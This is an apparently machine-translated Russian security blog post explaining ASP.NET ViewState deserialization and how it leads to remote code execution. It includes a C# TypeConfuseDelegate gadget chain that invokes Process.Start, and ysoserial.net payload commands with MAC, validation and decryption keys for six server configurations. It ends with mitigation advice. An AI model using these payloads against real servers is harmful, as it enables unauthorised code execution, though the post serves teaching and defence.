Всем привет,

Добро пожаловать в новый пост в блоге о десериализации .NET ViewState. Я хотел бы поблагодарить Subodh Pandey за вклад в этот пост в блоге и исследование, без которого я не смог бы получить глубокое понимание этой темы.

Прежде чем приступить к десериализации ViewState, давайте рассмотрим некоторые ключевые термины, связанные с ViewState и его использованием.

ViewState: согласно TutorialsPoint:

Состояние просмотра - это состояние страницы и всех ее элементов управления. Он автоматически поддерживается во всех публикациях платформой ASP.NET.
Когда страница отправляется обратно клиенту, изменения свойств страницы и ее элементов управления определяются и сохраняются в значении скрытого ввода. поле с именем _VIEWSTATE. Когда страница снова отправляется обратно, поле _VIEWSTATE отправляется на сервер с HTTP-запросом.

EventValidation:

Проверка событий проверяет входящие значения в запросе POST, чтобы убедиться, что значения известны и являются хорошими значениями. Если среда выполнения видит значение, о котором она не знает, она генерирует исключение.
Этот параметр также содержит сериализованные данные.

Пример".

ViewStateUserKey:

Идентификатор страницы для пользователя, используемый для защиты от CSRF-атак. Это может быть установлено как:

void Page_Init (object sender, EventArgs e) 
{
 ViewStateUserKey = Session.SessionID; 
}

Пример".

Средства форматирования. Средства форматирования используются для преобразования данных из одной формы в другую. например a BinaryFormatter сериализует и десериализует объект или весь граф связанных объектов в двоичном формате.

Гаджеты. Классы, которые могут разрешать выполнение кода, когда ими обрабатываются ненадежные данные. Вот несколько примеров для .NET: PSObject, TextFormattingRunProperties и TypeConfuseDelegate.

Как используется ViewState?

ViewState в основном генерируется сервером и отправляется обратно клиенту в виде скрытого поля формы «_VIEWSTATE» для запросов действия «POST». Затем клиент отправляет его на сервер, когда действие POST выполняется из веб-приложений.

ViewState находится в форме сериализованных данных, которые десериализуются при отправке на сервер во время обратной передачи. ASP.NET имеет различные библиотеки сериализации и десериализации, известные как средства форматирования, которые сериализует и десериализует объекты в поток байтов и наоборот, такие как ObjectStateFormatter, LOSFormatter, BinaryFormatter и т. Д.

ASP.NET использует LosFormatter для сериализации состояния просмотра и отправки его клиенту в виде скрытого поля формы. После того, как сериализованное состояние просмотра отправляется обратно на сервер во время запроса POST, оно десериализуется с помощью ObjectStateFormatter.

Чтобы сделать ViewState свободным от несанкционированного доступа, есть варианты даже включить ViewState MAC, из-за чего проверка целостности будет выполняться для значения ViewState во время десериализации, задав значение

‹page enableViewStateMac =” true ”/› в файле web.config. Существуют различные алгоритмы хеширования, которые можно выбрать, чтобы включить MAC (код аутентификации сообщения) в ViewState.

ASP.Net также предоставляет возможности для шифрования ViewState, задав значение

‹page ViewStateEncryptionMode =” Always ”/› в файле web.config.

Можно выбрать один из различных алгоритмов шифрования / проверки, которые будут использоваться с ViewState.

На примере давайте посмотрим, как сериализация и десериализация работают в .NET (аналогично тому, как это работает для ViewState).

Здесь мы создали одностраничное веб-приложение, которое будет просто принимать вводимые пользователем данные в текстовой области и отображать их на той же странице при нажатии кнопки.

Мы написали образец кода для создания сериализованного ввода с помощью LOSFormatter при загрузке приложения. Эти сериализованные данные затем сохраняются в файл. Когда в приложении нажимается кнопка GO, эти данные считываются обратно из файла и затем десериализуются с помощью ObjectStateFormatter.

Внешний код:

Test.aspx

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="TestComment.aspx.cs" Inherits="TestComment" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" />
<br />
<br />
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>

Внутренний код:

Test.aspx.cs

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class TestComment : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(“cmd”);
set.Add(“/c “ + cmd);
FieldInfo fi = typeof(MulticastDelegate).GetField(“_invocationList”, BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
Stream stream1 = new FileStream(“C:\\Windows\\Temp\\serialnet.txt”, FileMode.Create, FileAccess.Write);
//Serialization using LOSFormatter starts here
//The serialized output is base64 encoded which cannot be directly fed to ObjectStateFormatter for deserialization hence requires base64 decoding before deserialization 
LosFormatter los = new LosFormatter();
los.Serialize(stream1, set);
stream1.Close();
}
protected void Button1_Click(object sender, EventArgs e)
{
string serialized_data = File.ReadAllText(@”C:\Windows\Temp\serialnet.txt”);
//Base64 decode the serialized data before deserialization
byte[] bytes = Convert.FromBase64String(serialized_data);
//Deserialization using ObjectStateFormatter starts here
ObjectStateFormatter osf = new ObjectStateFormatter();
string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString();
}
}

Теперь давайте посмотрим, как выполняется код во время выполнения. Как только веб-страница загружается, код запускается, и в папке «C: \ Windows \ temp» создается файл с именем serialnet.txt с сериализованным данные, которые выполняют действие, выделенное в приведенном ниже коде:

String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;

Ниже представлено содержимое файла после загрузки приложения:

После того, как мы нажмем кнопку Go, предоставленная команда будет выполнена с помощью гаджета TypeConfuseDelegate. Ниже мы видим, что файл test.txt был создан в каталоге Temp:

Это простая симуляция, демонстрирующая, как сериализация и десериализация ViewState будут работать в веб-приложении во время обратной передачи. Это также помогает установить тот факт, что ненадежные данные не следует десериализовать.

Теперь, когда мы рассмотрели основы ViewState и его работы, давайте сместим наше внимание на небезопасную десериализацию ViewState и то, как это может привести к удаленному выполнению кода.

Для лучшего понимания мы разберемся с различными тестовыми примерами и рассмотрим каждый из них практически.

Для генерации полезной нагрузки для демонстрации небезопасной десериализации мы собираемся использовать ysoserial.net для всех тестовых случаев.

СЛУЧАЙ 1. Целевая платформа ≤4.0 (ViewState Mac отключен):

Также можно полностью отключить ViewState MAC, установив для ключа реестра AspNetEnforceViewStateMac ноль в:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

как показано ниже:

Теперь, когда это будет сделано, мы перейдем к фазе эксплуатации. Для этой демонстрации мы используем приведенный ниже внешний и внутренний код:

Код переднего плана:

<%@ Page Language=”C#” AutoEventWireup=”true” CodeFile=”hello.aspx.cs” Inherits=”hello” %>
<!DOCTYPE html>
<html xmlns=”http://www.w3.org/1999/xhtml">
<head runat=”server”>
 <title></title>
</head>
<body>
 <form id=”form1" runat=”server”>
 <asp:TextBox id=”TextArea1" TextMode=”multiline” Columns=”50" Rows=”5" runat=”server” />
 <asp:Button ID=”Button1" runat=”server” OnClick=”Button1_Click”
 Text=”GO” class=”btn”/>
 <br />
 <asp:Label ID=”Label1" runat=”server”></asp:Label>
 </form>
</body>
</html>

Внутренний код:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
 protected void Page_Load(object sender, EventArgs e)
 {
}
 
protected void Button1_Click(object sender, EventArgs e)
 {
 Label1.Text = TextArea1.Text.ToString();
 }
}

Мы разместили приложение в IIS и перехватили трафик приложения с помощью пакета burp:

На скриншоте выше видно, что после внесения изменений в ключ реестра ViewState MAC был отключен.

Теперь мы можем создать сериализованную полезную нагрузку с помощью ysoserial.net, как показано ниже:

Команда, использованная выше для генерации полезной нагрузки:

ysoserial.exe -o base64 -g TypeConfuseDelegate
 -f ObjectStateFormatter -c "echo 123 > C:\Windows\temp\test.txt" > payload_when_mac_disabled

Используя сгенерированную выше полезную нагрузку в параметре ViewState и используя ее в HTTP-запросе POST, мы можем наблюдать выполнение полезной нагрузки, как показано ниже:

СЛУЧАЙ 2: когда ViewState удаляется из HTTP-запроса:

В этом тематическом исследовании мы рассмотрим сценарий, в котором разработчики пытаются удалить ViewState из HTTP-запроса. Для демонстрации мы повторно использовали приведенный выше интерфейсный код из приведенного выше примера и изменили внутренний код следующим образом:

Внутренний код:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
 protected override void Render(HtmlTextWriter writer)
 {
 StringBuilder sb = new StringBuilder();
 StringWriter sw = new StringWriter(sb);
 HtmlTextWriter hWriter = new HtmlTextWriter(sw);
 base.Render(hWriter);
 string html = sb.ToString();
 html = Regex.Replace(html, “<input[^>]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase);
 writer.Write(html);
 }
}
public partial class hello : BasePage
{
 protected void Page_Load(object sender, EventArgs e)
 {
}
 
 protected void Button1_Click(object sender, EventArgs e)
 {
 Label1.Text = TextArea1.Text.ToString();
 }
}

Как только мы разместим это в IIS, мы увидим, что запросы POST больше не отправляют параметр ViewState.

Можно предположить, что если ViewState отсутствует, их реализация защищена от любых потенциальных уязвимостей, возникающих при десериализации ViewState.

Однако это не так. Если мы добавим параметр ViewState в тело запроса и отправим сериализованные полезные данные, созданные с помощью ysoserial, мы все равно сможем выполнить код, как показано в СЛУЧАЕ 1.

СЛУЧАЙ 3: целевая платформа ≤4.0 (включен ViewState Mac):

Мы можем включить ViewState MAC, внеся изменения либо на конкретной странице, либо во всем приложении.

Чтобы включить ViewState MAC для определенной страницы, нам необходимо внести следующие изменения в конкретный файл aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Мы также можем сделать это для всего приложения, установив его в файле web.config, как показано ниже:

<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
 <machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac=”true” />
</system.web>
</configuration>

Теперь предположим, что MAC был включен для ViewState, и из-за уязвимостей, таких как чтение локальных файлов, XXE и т. Д., Мы получаем доступ к файлу web.config с такими конфигурациями, как ключ проверки и алгоритм, как показано выше, мы можем использовать ysoserial.net и генерировать полезные данные, предоставляя ключ проверки и алгоритм в качестве параметров.

В целях демонстрации мы использовали образец приложения с приведенной ниже базой кода и с предположением, что злоумышленник получил доступ к файлу web.config из-за каких-либо уязвимостей чтения файла:

Код переднего плана:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
  <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

Бэкэнд-код:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
}
 protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

Web.Config:

<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
 <machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac=”true” />
</system.web>
</configuration>

Теперь, после размещения этого приложения в IIS, мы попытались перехватить функциональность приложения с помощью пакета burp, как показано ниже:

Теперь мы видим, что ViewState MAC включен.

Если мы заметим вышеупомянутый запрос POST, мы увидим, что в нем нет параметра _VIEWSTATEGENERATOR. В этом случае нам нужно будет предоставить переменные путь к приложению и путь в качестве параметров для ysoserial. Однако в случаях, когда у нас есть параметр _VIEWSTATEGENERATOR в HTTP-запросах, мы можем напрямую передать его значение ysoserial для генерации полезной нагрузки.

Давайте создадим нашу полезную нагрузку с помощью ysoserial.net и предоставим ключ проверки и алгоритм в качестве параметров вместе с путем к приложению и путем .

Здесь параметр «p» обозначает подключаемые модули, «g» - гаджеты, «c» - команду, выполняемую на сервере, «validationkey» и «validationalg» - это значения, взятые из файла web.config.

Давайте использовать эту сгенерированную полезную нагрузку со значением ViewState, как показано ниже:

Мы получаем сообщение об ошибке после обработки запроса. Однако ниже мы видим, что полезная нагрузка была выполнена, и файл test.txt с содержимым «123» был успешно создан.

СЛУЧАЙ 4. Целевая платформа ≤4.0 (для ViewState включено шифрование)

До .NET 4.5 ASP.NET может принимать незашифрованный параметр __VIEWSTATE от пользователей, даже если ViewStateEncryptionMode имеет значение Always. ASP.NET проверяет только наличие параметра __VIEWSTATEENCRYPTED в запросе. Если удалить этот параметр и отправить незашифрованные данные, они все равно будут обрабатываться.

СЛУЧАЙ 5: целевая платформа ≥ .NET 4.5

Мы можем принудительно использовать платформу ASP.NET, указав параметр ниже в файле web.config, как показано ниже.

<httpRuntime targetFramework=”4.5" />

В качестве альтернативы это можно сделать, указав параметр ниже в параметре machineKey файла web.config.

compatibilityMode=”Framework45"

Для платформы ASP.NET ≥ 4.5 нам необходимо предоставить алгоритм дешифрования и ключ дешифрования в генератор полезной нагрузки ysoserial следующим образом:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo 123 > c:\windows\temp\test.txt” --path=”/site/test.aspx/” --apppath=”/directory” — decryptionalg=”AES” --decryptionkey=”EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=”SHA1" --validationkey=”B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

Параметры path и apppath, указанные выше, можно определить с помощью небольшой отладки. В качестве примера мы будем использовать приведенный ниже код.

Внешний код:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
  <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

Внутренний код:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }
protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

При нажатии кнопки Перейти в пользовательском интерфейсе отправляется следующий запрос. Обратите внимание, что в настоящий момент значение _ _ VIEWSTATEGENERATOR 75BBA7D6. С помощью переключателя islegacy и isdebug генератора полезной нагрузки ysoserial мы можем попытаться угадать значения path и apppath.

В инструменте ysoserial создайте полезную нагрузку, как показано ниже, с разными значениями параметров path и apppath. Как только сгенерированное значение __VIEWSTATEGENERATOR совпадает со значением, присутствующим в запросе веб-приложения, мы можем сделать вывод, что у нас есть правильные значения.

На приведенном выше снимке экрана второй запрос предоставил нам правильное значение для параметра __VIEWSTATEGENERATOR. Таким образом, мы можем использовать значения path и apppath для создания допустимой полезной нагрузки. Теперь команда будет такой:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

Обратите внимание, что нам также необходимо URL-кодировать сгенерированную полезную нагрузку, чтобы использовать ее в нашем примере. После замены URL-кодированного значения сгенерированной полезной нагрузки значением __VIEWSTATE в показанном выше запросе наша полезная нагрузка будет выполнена. Это можно увидеть ниже:

СЛУЧАЙ 6. Используется ViewStateUserKey

Как упоминалось в начале этой статьи, свойство ViewStateUserKey можно использовать для защиты от CSRF-атаки. Если такой ключ был определен в приложении, и мы пытаемся сгенерировать полезную нагрузку ViewState с помощью методов, которые обсуждались до сих пор, полезная нагрузка не будет обработана приложением. Здесь нам необходимо передать другой параметр генератору ysoserial ViewState, как показано ниже:

ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --viewstateuserkey="randomstringdefinedintheserver"

Ниже приведен внутренний код, который мы использовали для демонстрации этого примера:

Внутренний код:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
 void Page_Init (object sender, EventArgs e)
  { 
   ViewStateUserKey = "randomstringdefinedintheserver"; 
  }
    protected void Page_Load(object sender, EventArgs e)
    {
    }
protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

Что должен сделать разработчик для предотвращения такой эксплуатации?
1. Обновите платформу ASP.NET, чтобы нельзя было отключить проверку MAC.
2. Не жестко кодируйте ключи дешифрования и проверки в файле web.config. Вместо этого полагайтесь на функцию IIS «Автоматически генерировать во время выполнения». Даже если файл web.config скомпрометирован какой-либо другой уязвимостью, например при чтении локального файла злоумышленник не сможет получить значения ключей, необходимых для создания полезной нагрузки.

Нравится:

Или
зашифруйте содержимое машинного ключа, чтобы в скомпрометированном файле web.config не были обнаружены значения, содержащиеся в параметре machineKey. Пример".

3. Восстановите все раскрытые / ранее скомпрометированные ключи проверки / дешифрования.

4. Не вставляйте machineKey, найденный в Интернете, в файл web.config вашего приложения.

Ссылки:

  1. Https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

2. https://github.com/pwntester/ysoserial.net

3. https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/

4. https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm

5. https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx

6. https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx